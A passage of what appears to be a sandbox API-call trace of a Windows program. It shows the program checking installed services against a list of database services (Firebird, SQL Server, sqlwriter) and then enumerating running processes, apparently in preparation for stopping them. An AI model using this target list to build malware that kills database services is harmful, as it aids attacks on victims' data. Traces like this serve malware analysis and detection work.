(lpString="DcomLaunch") returned 10 [0127.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0127.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0127.605] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0127.605] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0127.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0127.605] lstrlenW (lpString="Dhcp") returned 4 [0127.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0127.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0127.605] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0127.605] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0127.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0127.605] lstrlenW (lpString="Dnscache") returned 8 [0127.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0127.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0127.605] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0127.606] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0127.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0127.606] lstrlenW (lpString="DPS") returned 3 [0127.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0127.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0127.606] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0127.606] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0127.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0127.606] lstrlenW (lpString="eventlog") returned 8 [0127.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0127.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0127.606] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0127.606] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0127.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0127.606] lstrlenW (lpString="EventSystem") returned 11 [0127.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0127.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0127.606] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0127.606] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0127.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0127.606] lstrlenW (lpString="FontCache") returned 9 [0127.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0127.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0127.606] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0127.606] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0127.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0127.606] lstrlenW (lpString="gpsvc") returned 5 [0127.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0127.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0127.606] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0127.606] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0127.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0127.606] lstrlenW (lpString="iphlpsvc") returned 8 [0127.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0127.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0127.606] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0127.606] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0127.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0127.606] lstrlenW (lpString="LanmanServer") returned 12 [0127.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0127.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0127.607] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0127.607] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0127.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0127.607] lstrlenW (lpString="LanmanWorkstation") returned 17 [0127.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0127.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0127.607] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0127.607] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0127.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0127.607] lstrlenW (lpString="lmhosts") returned 7 [0127.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0127.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0127.607] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0127.607] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0127.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0127.607] lstrlenW (lpString="MMCSS") returned 5 [0127.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0127.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0127.607] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0127.607] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0127.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0127.607] lstrlenW (lpString="MpsSvc") returned 6 [0127.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0127.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0127.607] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0127.607] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0127.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0127.607] lstrlenW (lpString="Netman") returned 6 [0127.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0127.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0127.607] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0127.607] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0127.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0127.607] lstrlenW (lpString="netprofm") returned 8 [0127.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0127.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0127.607] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0127.608] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0127.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0127.608] lstrlenW (lpString="NlaSvc") returned 6 [0127.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0127.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0127.608] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0127.608] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0127.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0127.608] lstrlenW (lpString="nsi") returned 3 [0127.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0127.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0127.608] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0127.608] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0127.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0127.608] lstrlenW (lpString="PcaSvc") returned 6 [0127.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0127.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0127.608] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0127.608] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0127.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0127.608] lstrlenW (lpString="PlugPlay") returned 8 [0127.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0127.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0127.608] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0127.608] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0127.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0127.608] lstrlenW (lpString="Power") returned 5 [0127.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0127.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0127.608] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0127.608] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0127.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0127.608] lstrlenW (lpString="ProfSvc") returned 7 [0127.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0127.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0127.608] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0127.608] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0127.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0127.609] lstrlenW (lpString="RpcEptMapper") returned 12 [0127.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0127.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0127.609] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0127.609] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0127.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0127.609] lstrlenW (lpString="RpcSs") returned 5 [0127.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0127.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0127.609] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0127.609] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0127.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0127.609] lstrlenW (lpString="SamSs") returned 5 [0127.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0127.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0127.609] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0127.609] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0127.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0127.609] lstrlenW (lpString="Schedule") returned 8 [0127.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0127.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0127.609] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0127.609] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0127.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0127.609] lstrlenW (lpString="SENS") returned 4 [0127.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0127.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0127.609] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0127.609] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0127.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0127.609] lstrlenW (lpString="ShellHWDetection") returned 16 [0127.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0127.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0127.609] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0127.609] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0127.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0127.609] lstrlenW (lpString="Spooler") returned 7 [0127.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0127.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0127.610] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0127.610] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0127.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0127.610] lstrlenW (lpString="sppsvc") returned 6 [0127.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0127.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0127.610] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0127.610] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0127.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0127.610] lstrlenW (lpString="swprv") returned 5 [0127.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0127.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0127.610] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0127.610] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0127.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0127.610] lstrlenW (lpString="SysMain") returned 7 [0127.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0127.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0127.610] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0127.610] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0127.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0127.610] lstrlenW (lpString="Themes") returned 6 [0127.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0127.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0127.610] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0127.610] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0127.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0127.610] lstrlenW (lpString="TrkWks") returned 6 [0127.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0127.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0127.610] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0127.610] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0127.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0127.610] lstrlenW (lpString="UxSms") returned 5 [0127.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0127.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0127.610] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0127.610] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0127.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0127.610] lstrlenW (lpString="VSS") returned 3 [0127.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0127.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0127.611] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0127.611] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0127.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0127.611] lstrlenW (lpString="W32Time") returned 7 [0127.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0127.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0127.611] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0127.611] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0127.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0127.611] lstrlenW (lpString="WdiServiceHost") returned 14 [0127.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0127.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0127.611] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0127.611] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0127.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0127.611] lstrlenW (lpString="WdiSystemHost") returned 13 [0127.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0127.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0127.611] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0127.611] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0127.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0127.611] lstrlenW (lpString="WinDefend") returned 9 [0127.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0127.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0127.611] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0127.611] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0127.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0127.611] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0127.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0127.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0127.611] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0127.611] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0127.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0127.611] lstrlenW (lpString="Winmgmt") returned 7 [0127.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0127.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0127.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0127.611] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0127.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0127.612] lstrlenW (lpString="wscsvc") returned 6 [0127.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0127.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0127.612] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0127.612] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0127.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0127.612] lstrlenW (lpString="wuauserv") returned 8 [0127.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0127.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0127.612] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0127.612] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0127.612] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x214 [0127.614] Process32FirstW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0127.615] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0127.616] lstrlenW (lpString="System") returned 6 [0127.616] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0127.617] lstrlenW (lpString="smss.exe") returned 8 [0127.617] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0127.617] lstrlenW (lpString="csrss.exe") returned 9 [0127.617] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0127.618] lstrlenW (lpString="wininit.exe") returned 11 [0127.618] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0127.619] lstrlenW (lpString="csrss.exe") returned 9 [0127.619] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0127.620] lstrlenW (lpString="winlogon.exe") returned 12 [0127.620] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0127.620] lstrlenW (lpString="services.exe") returned 12 [0127.620] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0127.621] lstrlenW (lpString="lsass.exe") returned 9 [0127.621] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0127.622] lstrlenW (lpString="lsm.exe") returned 7 [0127.622] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.622] lstrlenW (lpString="svchost.exe") returned 11 [0127.622] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.623] lstrlenW (lpString="svchost.exe") returned 11 [0127.623] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.624] lstrlenW (lpString="svchost.exe") returned 11 [0127.624] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.624] lstrlenW (lpString="svchost.exe") returned 11 [0127.624] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.625] lstrlenW (lpString="svchost.exe") returned 11 [0127.625] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0127.626] lstrlenW (lpString="audiodg.exe") returned 11 [0127.626] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, 